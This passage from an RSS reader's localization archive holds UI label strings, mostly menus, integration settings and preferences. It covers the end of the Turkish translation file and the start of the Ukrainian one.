"form.feed.label.ignore_http_cache": "HTTP önbelleğini yoksay",
"form.feed.label.keeplist_rules": "Saklama Kuralları",
"form.feed.label.no_media_player": "Medya oynatıcı yok (ses/video)",
"form.feed.label.rewrite_rules": "Yeniden Yazma Kuralları",
"form.feed.label.scraper_rules": "Scrapper Kuralları",
"form.feed.label.site_url": "Site URL'si",
"form.feed.label.title": "Başlık",
"form.feed.label.urlrewrite_rules": "URL Yeniden Yazma Kuralları",
"form.feed.label.user_agent": "Varsayılan User Agent'i Geçersiz Kıl",
"form.import.label.file": "OPML dosyası",
"form.import.label.url": "URL",
"form.integration.betula_activate": "Makaleleri Betula'ya kaydet",
"form.integration.betula_url": "Betula sunucu URLsi",
"form.integration.betula_token": "Betula Token",
"form.integration.apprise_activate": "Makaleleri Apprise'a gönder",
"form.integration.apprise_services_url": "Apprise hizmet URL'lerinin virgülle ayrılmış listesi",
"form.integration.apprise_url": "Apprise API URL",
"form.integration.espial_activate": "Makaleleri Espial'e kaydet",
"form.integration.espial_api_key": "Espial API Anahtarı",
"form.integration.espial_endpoint": "Espial API Uç Noktası",
"form.integration.espial_tags": "Espial Etiketleri",
"form.integration.fever_activate": "Fever API'yi Etkinleştir",
"form.integration.fever_endpoint": "Fever API uç noktası:",
"form.integration.fever_password": "Fever Parolası",
"form.integration.fever_username": "Fever Kullanıcı Adı",
"form.integration.googlereader_activate": "Google Reader API'yi Etkinleştir",
"form.integration.googlereader_endpoint": "Google Reader API uç noktası:",
"form.integration.googlereader_password": "Google Reader Parolası",
"form.integration.googlereader_username": "Google Reader Kullanıcı Adı",
"form.integration.instapaper_activate": "Makaleleri Instapaper'a kaydet",
"form.integration.instapaper_password": "Instapaper Parolası",
"form.integration.instapaper_username": "Instapaper Kullanıcı Adı",
"form.integration.linkace_activate": "Makaleleri LinkAce'e kaydet",
"form.integration.linkace_api_key": "LinkAce API anahtarı",
"form.integration.linkace_check_disabled": "Link kontrolünü devre dışı bırak",
"form.integration.linkace_endpoint": "LinkAce API Uç Noktası",
"form.integration.linkace_is_private": "Linki özel olarak işaretle",
"form.integration.linkace_tags": "LinkAce Etiketleri",
"form.integration.linkding_activate": "Makaleleri Linkding'e kaydet",
"form.integration.linkding_api_key": "Linkding API Anahtarı",
"form.integration.linkding_bookmark": "Yer imini okunmadı olarak işaretle",
"form.integration.linkding_endpoint": "Linkding API Uç Noktası",
"form.integration.linkding_tags": "Linkding Etiketleri",
"form.integration.linkwarden_activate": "Makaleleri Linkwarden'e kaydet",
"form.integration.linkwarden_api_key": "Linkwarden API Anahtarı",
"form.integration.linkwarden_endpoint": "Linkwarden API Uç Noktası",
"form.integration.matrix_bot_activate": "Yeni makaleleri Matrix'e aktarın",
"form.integration.matrix_bot_chat_id": "Matrix odasının kimliği",
"form.integration.matrix_bot_password": "Matrix kullanıcısı için parola",
"form.integration.matrix_bot_url": "Matrix sunucu URL'si",
"form.integration.matrix_bot_user": "Matrix için Kullanıcı Adı",
"form.integration.notion_activate": "Makaleleri Notion'a kaydet",
"form.integration.notion_page_id": "Notion Sayfa ID'si",
"form.integration.notion_token": "Notion Secret Token",
"form.integration.nunux_keeper_activate": "Makaleleri Nunux Keeper'a kaydet",
"form.integration.nunux_keeper_api_key": "Nunux Keeper API anahtarı",
"form.integration.nunux_keeper_endpoint": "Nunux Keeper API Uç Noktası",
"form.integration.omnivore_activate": "Makaleleri Omnivore'a kaydet",
"form.integration.omnivore_api_key": "Omnivore API anahtarı",
"form.integration.omnivore_url": "Omnivore API Uç Noktası",
"form.integration.pinboard_activate": "Makaleleri Pinboard'a kaydet",
"form.integration.pinboard_bookmark": "Yer imini okunmadı olarak işaretle",
"form.integration.pinboard_tags": "Pinboard Etiketleri",
"form.integration.pinboard_token": "Pinboard API Token",
"form.integration.pocket_access_token": "Pocket Access Token",
"form.integration.pocket_activate": "Makaleleri Pocket'a kaydet",
"form.integration.pocket_connect_link": "Pocket hesabını bağla",
"form.integration.pocket_consumer_key": "Pocket Consumer Anahtarı",
"form.integration.raindrop_activate": "Makaleleri Raindrop'a kaydet",
"form.integration.raindrop_token": "(Test) Token",
"form.integration.raindrop_collection_id": "Koleksiyon ID",
"form.integration.raindrop_tags": "Etiketler (virgülle ayrılmış)",
"form.integration.readeck_activate": "Makaleleri Readeck'e kaydet",
"form.integration.readeck_api_key": "Readeck API Anahtarı",
"form.integration.readeck_endpoint": "Readeck API Uç Noktası",
"form.integration.readeck_labels": "Readeck Etiketleri",
"form.integration.readeck_only_url": "Yalnızca URL gönder (tam makale yerine)",
"form.integration.readwise_activate": "Makaleleri Readwise Reader'a kaydet",
"form.integration.readwise_api_key": "Readwise Reader Access Token",
"form.integration.readwise_api_key_link": "Readwise Access Token'ınızı alın",
"form.integration.rssbridge_activate": "Abonelik eklerken RSS-Bridge'i kontrol edin",
"form.integration.rssbridge_url": "RSS-Bridge server URL",
"form.integration.shaarli_activate": "Makaleleri Shaarli'ye kaydet",
"form.integration.shaarli_api_secret": "Shaarli API Secret",
"form.integration.shaarli_endpoint": "Shaarli URL",
"form.integration.shiori_activate": "Makaleleri Shiori'ye kaydet",
"form.integration.shiori_endpoint": "Shiori API Uç Noktası",
"form.integration.shiori_password": "Shiori Parolası",
"form.integration.shiori_username": "Shiori Kullanıcı Adı",
"form.integration.telegram_bot_activate": "Yeni makaleleri Telegram sohbetine gönderin",
"form.integration.telegram_bot_disable_buttons": "Butonları devre dışı bırak",
"form.integration.telegram_bot_disable_notification": "Bildirimleri devre dışı bırak",
"form.integration.telegram_bot_disable_web_page_preview": "Web sayfası önizlemesini devre dışı bırak",
"form.integration.telegram_bot_token": "Bot token",
"form.integration.telegram_chat_id": "Sohbet ID",
"form.integration.telegram_topic_id": "Konu ID",
"form.integration.wallabag_activate": "Makaleleri Wallabag'e kaydet",
"form.integration.wallabag_client_id": "Wallabag Client ID",
"form.integration.wallabag_client_secret": "Wallabag Client Secret",
"form.integration.wallabag_endpoint": "Wallabag Üssü URL",
"form.integration.wallabag_only_url": "Yalnızca URL gönder (tam makale yerine)",
"form.integration.wallabag_password": "Wallabag Parolası",
"form.integration.wallabag_username": "Wallabag Kullanıcı Adı",
"form.integration.webhook_activate": "Webhook'u etkinleştir",
"form.integration.webhook_secret": "Webhook Secret",
"form.integration.webhook_url": "Webhook URL",
"form.integration.ntfy_activate": "Push entries to ntfy",
"form.integration.ntfy_topic": "Ntfy topic",
"form.integration.ntfy_url": "Ntfy URL (optional, default is ntfy.sh)",
"form.integration.ntfy_api_token": "Ntfy API Token (optional)",
"form.integration.ntfy_username": "Ntfy Username (optional)",
"form.integration.ntfy_password": "Ntfy Password (optional)",
"form.integration.ntfy_icon_url": "Ntfy Icon URL (optional)",
"form.integration.ntfy_internal_links": "Use internal links on click (optional)",
"form.feed.label.ntfy_activate": "Push entries to ntfy",
"form.feed.label.ntfy_priority": "Ntfy priority",
"form.feed.label.ntfy_max_priority": "Ntfy max priority",
"form.feed.label.ntfy_high_priority": "Ntfy high priority",
"form.feed.label.ntfy_default_priority": "Ntfy default priority",
"form.feed.label.ntfy_low_priority": "Ntfy low priority",
"form.feed.label.ntfy_min_priority": "Ntfy min priority",
"form.integration.cubox_activate": "Save entries to Cubox",
"form.integration.cubox_api_link": "Cubox API link",
"form.integration.discord_activate": "Makaleleri Discord'a gönder",
"form.integration.discord_webhook_link": "Discord hizmet Webhook'lerinin virgülle ayrılmış listesi",
"form.prefs.fieldset.application_settings": "Uygulama Ayarları",
"form.prefs.fieldset.authentication_settings": "Kimlik Doğrulama Ayarları",
"form.prefs.fieldset.reader_settings": "Okuyucu Ayarları",
"form.prefs.fieldset.global_feed_settings": "Genel Besleme Ayarları",
"form.prefs.label.categories_sorting_order": "Kategori sıralaması",
"form.prefs.label.cjk_reading_speed": "Çince, Korece ve Japonca için okuma hızı (dakika başına karakter)",
"form.prefs.label.custom_css": "Özel CSS",
"form.prefs.label.custom_js": "Özel JavaScript",
"form.prefs.label.default_home_page": "Varsayılan ana sayfa",
"form.prefs.label.default_reading_speed": "Diğer diller için okuma hızı (dakika başına kelime)",
"form.prefs.label.display_mode": "Progressive Web App (PWA) görüntüleme modu",
"form.prefs.label.entries_per_page": "Sayfa başına makale",
"form.prefs.label.entry_order": "Makale Sıralama Sütunu",
"form.prefs.label.entry_sorting": "Makale Sıralaması",
"form.prefs.label.entry_swipe": "Dokunmatik ekranlarda makale kaydırmayı etkinleştir",
"form.prefs.label.gesture_nav": "Makaleler arasında gezinmek için dokunma hareketi",
"form.prefs.label.keyboard_shortcuts": "Klavye kısayollarını etkinleştir",
"form.prefs.label.language": "Dil",
"form.prefs.label.mark_read_on_view": "Makaleler görüntülendiğinde otomatik olarak okundu olarak işaretle",
"form.prefs.label.mark_read_on_view_or_media_completion": "Mark entries as read when viewed. For audio/video, mark as read at 90%% completion",
"form.prefs.label.mark_read_on_media_completion": "Only mark as read when audio/video playback reaches 90%% completion",
"form.prefs.label.mark_read_manually": "Mark entries as read manually",
"form.prefs.label.media_playback_rate": "Ses/video oynatma hızı",
"form.prefs.label.show_reading_time": "Makaleler için tahmini okuma süresini göster",
"form.prefs.label.theme": "Tema",
"form.prefs.label.timezone": "Saat Dilimi",
"form.prefs.select.alphabetical": "Alfabetik",
"form.prefs.select.browser": "Tarayıcı",
"form.prefs.select.created_time": "İçeriğin oluşturulma zamanı",
"form.prefs.select.fullscreen": "Tam Ekran",
"form.prefs.select.minimal_ui": "Minimal",
"form.prefs.select.none": "Hiçbiri",
"form.prefs.select.older_first": "Önce eski makaleler",
"form.prefs.select.publish_time": "Makale yayınlanma zamanı",
"form.prefs.select.recent_first": "Önce yeni makaleler",
"form.prefs.select.standalone": "Bağımsız",
"form.prefs.select.swipe": "Kaydırma",
"form.prefs.select.tap": "Çift dokunma",
"form.prefs.select.unread_count": "Okunmamış sayısı",
"form.prefs.label.external_font_hosts": "External font hosts",
"form.prefs.help.external_font_hosts": "Space separated list of external font hosts to allow. For example: \"fonts.gstatic.com fonts.googleapis.com\".",
"error.settings_invalid_domain_list": "Invalid domain list. Please provide a space separated list of domains.",
"form.submit.loading": "Yükleniyor...",
"form.submit.saving": "Kaydediliyor...",
"form.user.label.admin": "Yönetici",
"form.user.label.confirmation": "Parola Doğrulama",
"form.user.label.password": "Parola",
"form.user.label.username": "Kullanıcı Adı",
"menu.about": "Hakkında",
"menu.add_feed": "Besleme ekle",
"menu.add_user": "Kullanıcı ekle",
"menu.api_keys": "API Anahtarları",
"menu.categories": "Kategoriler",
"menu.create_api_key": "Yeni bir API anahtarı oluştur",
"menu.create_category": "Kategori oluştur",
"menu.edit_category": "Düzenle",
"menu.edit_feed": "Düzenle",
"menu.export": "Dışarı Aktar",
"menu.feed_entries": "Makaleler",
"menu.feeds": "Beslemeler",
"menu.flush_history": "Geçmişi temizle",
"menu.history": "Geçmiş",
"menu.home_page": "Anasayfa",
"menu.import": "İçeri Aktar",
"menu.integrations": "Entegrasyonlar",
"menu.logout": "Çıkış",
"menu.mark_all_as_read": "Tümünü okundu olarak işaretle",
"menu.mark_page_as_read": "Bu sayfayı okundu olarak işaretle",
"menu.preferences": "Tercihler",
"menu.refresh_all_feeds": "Tüm beslemeleri arka planda yenile",
"menu.refresh_feed": "Yenile",
"menu.search": "Ara",
"menu.sessions": "Oturumlar",
"menu.settings": "Ayarlar",
"menu.shared_entries": "Paylaşılan makaleler",
"menu.show_all_entries": "Tüm makaleleri göster",
"menu.show_only_unread_entries": "Sadece okunmamış makaleleri göster",
"menu.show_only_starred_entries": "Sadece yıldızlanmış makaleleri göster",
"menu.starred": "Yıldız",
"menu.title": "Menü",
"menu.unread": "Okunmadı",
"menu.users": "Kullanıcılar",
"page.about.author": "Yazar:",
"page.about.build_date": "Oluşturulma Tarihi:",
"page.about.credits": "Katkıda Bulunanlar",
"page.about.global_config_options": "Global yapılandırma seçenekleri",
"page.about.go_version": "Go sürümü:",
"page.about.license": "Lisans:",
"page.about.postgres_version": "Postgres sürümü:",
"page.about.title": "Hakkında",
"page.about.version": "Sürüm:",
"page.add_feed.choose_feed": "Bir Besleme Seçin",
"page.add_feed.label.url": "URL",
"page.add_feed.legend.advanced_options": "Gelişmiş Seçenekler",
"page.add_feed.no_category": "Kategori yok. En az bir kategoriye sahip olmalısınız.",
"page.add_feed.submit": "Besleme bul",
"page.add_feed.title": "Yeni Besleme",
"page.api_keys.never_used": "Hiç Kullanılmadı",
"page.api_keys.table.actions": "Hareketler",
"page.api_keys.table.created_at": "Oluşturulma Tarihi",
"page.api_keys.table.description": "Açıklama",
"page.api_keys.table.last_used_at": "Son Kullanılma",
"page.api_keys.table.token": "Token",
"page.api_keys.title": "API Anahtarları",
"page.categories.entries": "Makaleler",
"page.categories.feed_count": ["%d besleme var.", "%d besleme var."],
"page.categories.feeds": "Beslemeler",
"page.categories.no_feed": "Besleme yok.",
"page.categories.title": "Kategoriler",
"page.categories_count": ["%d kategori", "%d kategori"],
"page.category_label": "Kategori: %s",
"page.edit_category.title": "Kategoriyi Düzenle: %s",
"page.edit_feed.etag_header": "ETag başlığı:",
"page.edit_feed.last_check": "Son kontrol:",
"page.edit_feed.last_modified_header": "LastModified başlığı:",
"page.edit_feed.last_parsing_error": "Son Ayrıştırma Hatası",
"page.edit_feed.no_header": "Hiçbiri",
"page.edit_feed.title": "Beslemeyi düzenle: %s",
"page.edit_user.title": "Kullanıcıyı Düzenle: %s",
"page.entry.attachments": "Ekler",
"page.feeds.error_count": ["%d hatası", "%d hatası"],
"page.feeds.last_check": "Son kontrol:",
"page.feeds.next_check": "Sonraki kontrol:",
"page.feeds.read_counter": "Okunmuş makalelerin sayısı",
"page.feeds.title": "Beslemeler",
"page.history.title": "Geçmiş",
"page.import.title": "İçeri Aktar",
"page.integration.bookmarklet": "Bookmarklet",
"page.integration.bookmarklet.help": "Bu özel bağlantı, web tarayıcınızdaki yer imini kullanarak bir websitesine doğrudan abone olmanızı sağlar.",
"page.integration.bookmarklet.instructions": "Bu bağlantıyı yer imlerinize sürükleyip bırakın",
"page.integration.bookmarklet.name": "Miniflux'a Ekle",
"page.integration.miniflux_api": "Miniflux API",
"page.integration.miniflux_api_endpoint": "API Uç Noktası",
"page.integration.miniflux_api_password": "Parola",
"page.integration.miniflux_api_password_value": "Hesap parolan",
"page.integration.miniflux_api_username": "Kullanıcı adı",
"page.integrations.title": "Entegrasyonlar",
"page.keyboard_shortcuts.close_modal": "İletişim kutusunu kapat",
"page.keyboard_shortcuts.download_content": "Orijinal içeriği indir",
"page.keyboard_shortcuts.go_to_bottom_item": "Alt makeleye git",
"page.keyboard_shortcuts.go_to_categories": "Kategorilere git",
"page.keyboard_shortcuts.go_to_feed": "Beslemeye git",
"page.keyboard_shortcuts.go_to_feeds": "Beslemelere git",
"page.keyboard_shortcuts.go_to_history": "Geçmişe git",
"page.keyboard_shortcuts.go_to_next_item": "Sonraki makeleye git",
"page.keyboard_shortcuts.go_to_next_page": "Sonraki sayfaya git",
"page.keyboard_shortcuts.go_to_previous_item": "Önceki makeleye git",
"page.keyboard_shortcuts.go_to_previous_page": "Önceki sayfaya git",
"page.keyboard_shortcuts.go_to_search": "Arama formuna odakla",
"page.keyboard_shortcuts.go_to_settings": "Ayarlara git",
"page.keyboard_shortcuts.go_to_starred": "Yer imlerine git",
"page.keyboard_shortcuts.go_to_top_item": "En üstteki makeleye git",
"page.keyboard_shortcuts.go_to_unread": "Okunmamışa git",
"page.keyboard_shortcuts.mark_page_as_read": "Mevcut sayfayı okundu olarak işaretle",
"page.keyboard_shortcuts.open_comments": "Yorumlar bağlantısını aç",
"page.keyboard_shortcuts.open_comments_same_window": "Yorumlar bağlantısını mevcut sekmede aç",
"page.keyboard_shortcuts.open_item": "Seçili makeleyi aç",
"page.keyboard_shortcuts.open_original": "Orijinal bağlantıyı aç",
"page.keyboard_shortcuts.open_original_same_window": "Orijinal bağlantıyı mevcut sekmede aç",
"page.keyboard_shortcuts.refresh_all_feeds": "Tüm beslemeleri arka planda yenile",
"page.keyboard_shortcuts.remove_feed": "Bu beslemeyi kaldır",
"page.keyboard_shortcuts.save_article": "İçeriği kaydet",
"page.keyboard_shortcuts.scroll_item_to_top": "Makaleyi en üste kaydır",
"page.keyboard_shortcuts.show_keyboard_shortcuts": "Klavye kısayollarını göster",
"page.keyboard_shortcuts.subtitle.actions": "Eylemler",
"page.keyboard_shortcuts.subtitle.items": "Makalelerde Gezinme",
"page.keyboard_shortcuts.subtitle.pages": "Sayfalarda Gezinme",
"page.keyboard_shortcuts.subtitle.sections": "Bölümlerde Gezinme",
"page.keyboard_shortcuts.title": "Klavye Kısayolları",
"page.keyboard_shortcuts.toggle_bookmark_status": "Yıldız ekle/kaldır",
"page.keyboard_shortcuts.toggle_entry_attachments": "Makele eklerini açma/kapama arasında geçiş yap",
"page.keyboard_shortcuts.toggle_read_status_next": "Okundu/okunmadı arasında geçiş yap, sonrakine odaklan",
"page.keyboard_shortcuts.toggle_read_status_prev": "Okundu/okunmadı arasında geçiş yap, öncekine odaklan",
"page.login.google_signin": "Google ile oturum aç",
"page.login.oidc_signin": "%s ile oturum aç",
"page.login.title": "Oturum aç",
"page.login.webauthn_login": "Passkey ile giriş yap",
"page.login.webauthn_login.error": "Passkey ile giriş yapılamıyor",
"page.login.webauthn_login.help": "Please enter your username if you're using a security key. This is not required if you are using a Passkey (discoverable credentials).",
"page.new_api_key.title": "Yeni API Anahtarı",
"page.new_category.title": "Yeni Kategori",
"page.new_user.title": "Yeni Kullanıcı",
"page.offline.message": "Çevrimdışısınız",
"page.offline.refresh_page": "Sayfayı yenilemeyi dene",
"page.offline.title": "Çevrimdışı Modu",
"page.read_entry_count": ["%d okunmuş makale", "%d okunmuş makale"],
"page.search.title": "Arama Sonuçları",
"page.sessions.table.actions": "Eylemler",
"page.sessions.table.current_session": "Mevcut Oturum",
"page.sessions.table.date": "Tarih",
"page.sessions.table.ip": "IP Adresi",
"page.sessions.table.user_agent": "User Agent",
"page.sessions.title": "Oturumlar",
"page.settings.link_google_account": "Google hesabımı bağla",
"page.settings.link_oidc_account": "%s hesabımı bağla",
"page.settings.title": "Ayarlar",
"page.settings.unlink_google_account": "Google hesabımın bağlantısını kaldır",
"page.settings.unlink_oidc_account": "%s hesabımın bağlantısını kaldır",
"page.settings.webauthn.actions": "Eylemler",
"page.settings.webauthn.added_on": "Eklendi",
"page.settings.webauthn.delete": [
"%d passkey'i kaldır",
"%d passkey'i kaldır"
],
"page.settings.webauthn.last_seen_on": "Son Kullanım",
"page.settings.webauthn.passkey_name": "Passkey Adı",
"page.settings.webauthn.passkeys": "Passkeyler",
"page.settings.webauthn.register": "Passkey'i kaydet",
"page.settings.webauthn.register.error": "Passkey kaydedilemiyor",
"page.shared_entries.title": "Paylaşılan makaleler",
"page.shared_entries_count": [
"%d paylaşılan makaleler",
"%d paylaşılan makaleler"
],
"page.starred.title": "Yıldızlı",
"page.starred_entry_count": [
"%d yıldızlanmış makale",
"%d yıldızlanmış makale"
],
"page.total_entry_count": ["Toplamda %d makale", "Toplamda %d makale"],
"page.unread.title": "Okunmadı",
"page.unread_entry_count": [
"Toplamda %d okunmamış makale",
"Toplamda %d okunmamış makale"
],
"page.users.actions": "Eylemler",
"page.users.admin.no": "Hayır",
"page.users.admin.yes": "Evet",
"page.users.is_admin": "Yönetici",
"page.users.last_login": "Son Giriş",
"page.users.never_logged": "Asla",
"page.users.title": "Kullanıcılar",
"page.users.username": "Kullanıcı adı",
"page.webauthn_rename.title": "Passkey'i Yeniden Adlandır",
"pagination.last": "Son",
"pagination.next": "Sonraki",
"pagination.first": "İlk",
"pagination.previous": "Önceki",
"search.label": "Ara",
"search.placeholder": "Ara...",
"search.submit": "Ara",
"skip_to_content": "İçeriğe atla",
"time_elapsed.days": ["%d gün önce", "%d gün önce"],
"time_elapsed.hours": ["%d saat önce", "%d saat önce"],
"time_elapsed.minutes": ["%d dakika önce", "%d dakika önce"],
"time_elapsed.months": ["%d ay önce", "%d ay önce"],
"time_elapsed.not_yet": "henüz değil",
"time_elapsed.now": "şimdi",
"time_elapsed.weeks": ["%d hafta önce", "%d hafta önce"],
"time_elapsed.years": ["%d yıl önce", "%d yıl önce"],
"time_elapsed.yesterday": "dün",
"tooltip.keyboard_shortcuts": "Klavye Kısayolu: %s",
"tooltip.logged_user": "%s olarak giriş yapıldı",
"enclosure_media_controls.seek" : "Sar:",
"enclosure_media_controls.seek.title" : "%s saniye sar",
"enclosure_media_controls.speed" : "Hız:",
"enclosure_media_controls.speed.faster" : "Daha hızlı",
"enclosure_media_controls.speed.faster.title" : "%sx kat daha hızlı",
"enclosure_media_controls.speed.slower" : "Daha yavaş",
"enclosure_media_controls.speed.slower.title" : "%sx kat daha yavaş",
"enclosure_media_controls.speed.reset" : "Sıfırla",
"enclosure_media_controls.speed.reset.title" : "Hızı 1x'e sıfırla"
}
v2-2.2.5/internal/locale/translations/uk_UA.json 0000664 0000000 0000000 00000123642 14743520056 0021560 0 ustar 00root root 0000000 0000000 {
"skip_to_content": "Skip to content",
"confirm.question": "Ви впевнені?",
"confirm.question.refresh": "Ви хочете змусити оновити?",
"confirm.yes": "так",
"confirm.no": "ні",
"confirm.loading": "В процесі...",
"action.subscribe": "Підписатись",
"action.save": "Зберегти",
"action.or": "або",
"action.cancel": "скасувати",
"action.remove": "Видалити",
"action.remove_feed": "Видалити стрічку",
"action.update": "Зберегти",
"action.edit": "Редагувати",
"action.download": "Завантажити",
"action.import": "Імпортувати",
"action.login": "Увійти",
"action.home_screen": "Додати до головного екрану",
"tooltip.keyboard_shortcuts": "Комбінація клавіш: %s",
"tooltip.logged_user": "Здійснено вхід як %s",
"menu.title": "Меню",
"menu.home_page": "Головна сторінка",
"menu.unread": "Непрочитане",
"menu.starred": "З зірочкою",
"menu.history": "Історія",
"menu.feeds": "Стрічки",
"menu.categories": "Категорії",
"menu.settings": "Налаштування",
"menu.logout": "Вийти",
"menu.preferences": "Уподобання",
"menu.integrations": "Інтеграції",
"menu.sessions": "Сеанси",
"menu.users": "Користувачі",
"menu.about": "Про додаток",
"menu.export": "Експорт",
"menu.import": "Імпорт",
"menu.search": "Пошук",
"menu.create_category": "Створити категорію",
"menu.mark_page_as_read": "Відмітити цю сторінку як прочитане",
"menu.mark_all_as_read": "Відмітити все як прочитане",
"menu.show_all_entries": "Показати всі записи",
"menu.show_only_unread_entries": "Показати тільки непрочитані записи",
"menu.show_only_starred_entries": "Показати тільки записи з зірочкою",
"menu.refresh_feed": "Оновити",
"menu.refresh_all_feeds": "Оновити всі стрічки у фоновому режимі",
"menu.edit_feed": "Редагувати",
"menu.edit_category": "Редагувати",
"menu.add_feed": "Додати підписку",
"menu.add_user": "Додати користувачв",
"menu.flush_history": "Очистити історію",
"menu.feed_entries": "Записи",
"menu.api_keys": "Ключі API",
"menu.create_api_key": "Створити новий ключ API",
"menu.shared_entries": "Спільні записи",
"search.label": "Пошук",
"search.placeholder": "Шукати...",
"search.submit": "Знайти",
"pagination.last": "Остання",
"pagination.next": "Наступна",
"pagination.first": "Перша",
"pagination.previous": "Попередня",
"entry.status.unread": "Непрочитане",
"entry.status.read": "Прочитане",
"entry.status.toast.unread": "Відмічено непрочитаним",
"entry.status.toast.read": "Відмічено прочитаним",
"entry.status.title": "Змінити стан запису",
"entry.bookmark.toggle.on": "Поставити зірочку",
"entry.bookmark.toggle.off": "Прибрати зірочку",
"entry.bookmark.toast.on": "З зірочкою",
"entry.bookmark.toast.off": "Без зірочки",
"entry.state.saving": "Зберігаю...",
"entry.state.loading": "Завантаження...",
"entry.save.label": "Зберегти",
"entry.save.title": "Зберегти цю статтю",
"entry.save.completed": "Готово!",
"entry.save.toast.completed": "Стаття збережена",
"entry.scraper.label": "Завантажити",
"entry.scraper.title": "Отримати оригінальний зміст",
"entry.scraper.completed": "Готово!",
"entry.external_link.label": "Зовнішнє посилання",
"entry.comments.label": "Коментарі",
"entry.comments.title": "Дивитися коментарі",
"entry.share.label": "Поділитись",
"entry.share.title": "Поділитись статтєю",
"entry.unshare.label": "Не ділитися",
"entry.shared_entry.title": "Відкрити публічне посилання",
"entry.shared_entry.label": "Поділитись",
"entry.estimated_reading_time": [
"читати %d хвилину",
"читати %d хвилини",
"читати %d хвилин"
],
"entry.tags.label": "Теги:",
"page.shared_entries.title": "Спільні записи",
"page.shared_entries_count": [
"%d shared entry",
"%d shared entries",
"%d shared entries"
],
"page.unread.title": "Непрочитане",
"page.unread_entry_count": [
"%d unread entry",
"%d unread entries",
"%d unread entries"
],
"page.total_entry_count": [
"%d entry in total",
"%d entries in total",
"%d entries in total"
],
"page.starred.title": "З зірочкою",
"page.starred_entry_count": [
"%d starred entry",
"%d starred entries",
"%d starred entries"
],
"page.categories.title": "Категорії",
"page.categories.no_feed": "Немає стрічки.",
"page.categories.entries": "Статті",
"page.categories.feeds": "Підписки",
"page.categories.feed_count": [
"Містить %d стрічку.",
"Містить %d стрічки.",
"Містить %d стрічок."
],
"page.categories_count": [
"%d category",
"%d categories",
"%d categories"
],
"page.new_category.title": "Нова категорія",
"page.new_user.title": "Новий користувач",
"page.edit_category.title": "Редагування категорії: %s",
"page.edit_user.title": "Редагування користувача: %s",
"page.feeds.title": "Стрічки",
"page.category_label": "Категорія: %s",
"page.feeds.last_check": "Остання перевірка:",
"page.feeds.next_check": "Наступна перевірка:",
"page.feeds.read_counter": "Кількість прочитаних записів",
"page.feeds.error_count": [
"%d помилка",
"%d помилки",
"%d помилок"
],
"page.history.title": "Історія",
"page.read_entry_count": [
"%d read entry",
"%d read entries",
"%d read entries"
],
"page.import.title": "Імпорт",
"page.search.title": "Результати пошуку",
"page.about.title": "Про додадок",
"page.about.credits": "Титри",
"page.about.version": "Версія:",
"page.about.build_date": "Дата побудови:",
"page.about.author": "Автор:",
"page.about.license": "Ліцензія:",
"page.about.global_config_options": "Параметри глобальної конфігурації",
"page.about.postgres_version": "Версія Postgres:",
"page.about.go_version": "Версія Go:",
"page.add_feed.title": "Нова підписка",
"page.add_feed.no_category": "Немає категорії. Ви маєте додати принаймні одну категорію.",
"page.add_feed.label.url": "URL",
"page.add_feed.submit": "Знайти підписку",
"page.add_feed.legend.advanced_options": "Розширені опції",
"page.add_feed.choose_feed": "Обрати підписку",
"page.edit_feed.title": "Редагування стрічки: %s",
"page.edit_feed.last_check": "Остання перевірка:",
"page.edit_feed.last_modified_header": "Заголовок LastModified:",
"page.edit_feed.etag_header": "Заголовок ETag:",
"page.edit_feed.no_header": "Немає",
"page.edit_feed.last_parsing_error": "Остання помилка аналізу",
"page.entry.attachments": "Додатки",
"page.keyboard_shortcuts.title": "Комбінації клавиш",
"page.keyboard_shortcuts.subtitle.sections": "Навігація по розділах",
"page.keyboard_shortcuts.subtitle.items": "Навігація по записах",
"page.keyboard_shortcuts.subtitle.pages": "Навігація по сторінках",
"page.keyboard_shortcuts.subtitle.actions": "Дії",
"page.keyboard_shortcuts.go_to_unread": "Перейти до непрочитаних",
"page.keyboard_shortcuts.go_to_starred": "Перейти до закладок",
"page.keyboard_shortcuts.go_to_history": "Перейти до історії",
"page.keyboard_shortcuts.go_to_feeds": "Перейти до стрічок",
"page.keyboard_shortcuts.go_to_categories": "Перейти до категорій",
"page.keyboard_shortcuts.go_to_settings": "Перейти до налаштувань",
"page.keyboard_shortcuts.show_keyboard_shortcuts": "Показати комбінації клавиш",
"page.keyboard_shortcuts.go_to_previous_item": "Перейти до попереднього запису",
"page.keyboard_shortcuts.go_to_next_item": "Перейти до наступного запису",
"page.keyboard_shortcuts.go_to_feed": "Перейти до стрічки",
"page.keyboard_shortcuts.go_to_previous_page": "Перейти до попередньої сторінки",
"page.keyboard_shortcuts.go_to_next_page": "Перейти до наступної сторінки",
"page.keyboard_shortcuts.go_to_bottom_item": "Перейти до нижнього пункту",
"page.keyboard_shortcuts.go_to_top_item": "Перейти до верхнього пункту",
"page.keyboard_shortcuts.open_item": "Відкрити виділений запис",
"page.keyboard_shortcuts.open_original": "Відкрити оригінальне посилання",
"page.keyboard_shortcuts.open_original_same_window": "Відкрити оригінальне посилання в поточній вкладці",
"page.keyboard_shortcuts.open_comments": "Відкрити посилання на коментарі",
"page.keyboard_shortcuts.open_comments_same_window": "Відкрити посилання на коментарі в поточній вкладці",
"page.keyboard_shortcuts.toggle_read_status_next": "Переключити статус читання, перейти до наступного",
"page.keyboard_shortcuts.toggle_read_status_prev": "Переключити статус читання, перейти до попереднього",
"page.keyboard_shortcuts.refresh_all_feeds": "Оновити всі стрічки в фоновому режимі",
"page.keyboard_shortcuts.mark_page_as_read": "Відмітити поточну сторінку як прочитане",
"page.keyboard_shortcuts.download_content": "Завантажити оригінальний зміст",
"page.keyboard_shortcuts.toggle_bookmark_status": "Переключити статус закладки",
"page.keyboard_shortcuts.save_article": "Зберегти статтю",
"page.keyboard_shortcuts.scroll_item_to_top": "Прокрутити запис догори",
"page.keyboard_shortcuts.remove_feed": "Видалити цю стрічку",
"page.keyboard_shortcuts.go_to_search": "Поставити фокус на поле пошуку",
"page.keyboard_shortcuts.toggle_entry_attachments": "Toggle open/close entry attachments",
"page.keyboard_shortcuts.close_modal": "Закрити модальне діалогове вікно",
"page.users.title": "Користувачі",
"page.users.username": "Ім’я користувача",
"page.users.never_logged": "Ніколи",
"page.users.admin.yes": "Так",
"page.users.admin.no": "Ні",
"page.users.actions": "Дії",
"page.users.last_login": "Дата останнього входу",
"page.users.is_admin": "Адміністратор",
"page.settings.title": "Налаштування ",
"page.settings.link_google_account": "Підключити мій обліковий запис Google",
"page.settings.unlink_google_account": "Відключити мій обліковий запис Google",
"page.settings.link_oidc_account": "Підключити мій обліковий запис %s",
"page.settings.unlink_oidc_account": "Відключити мій обліковий запис %s",
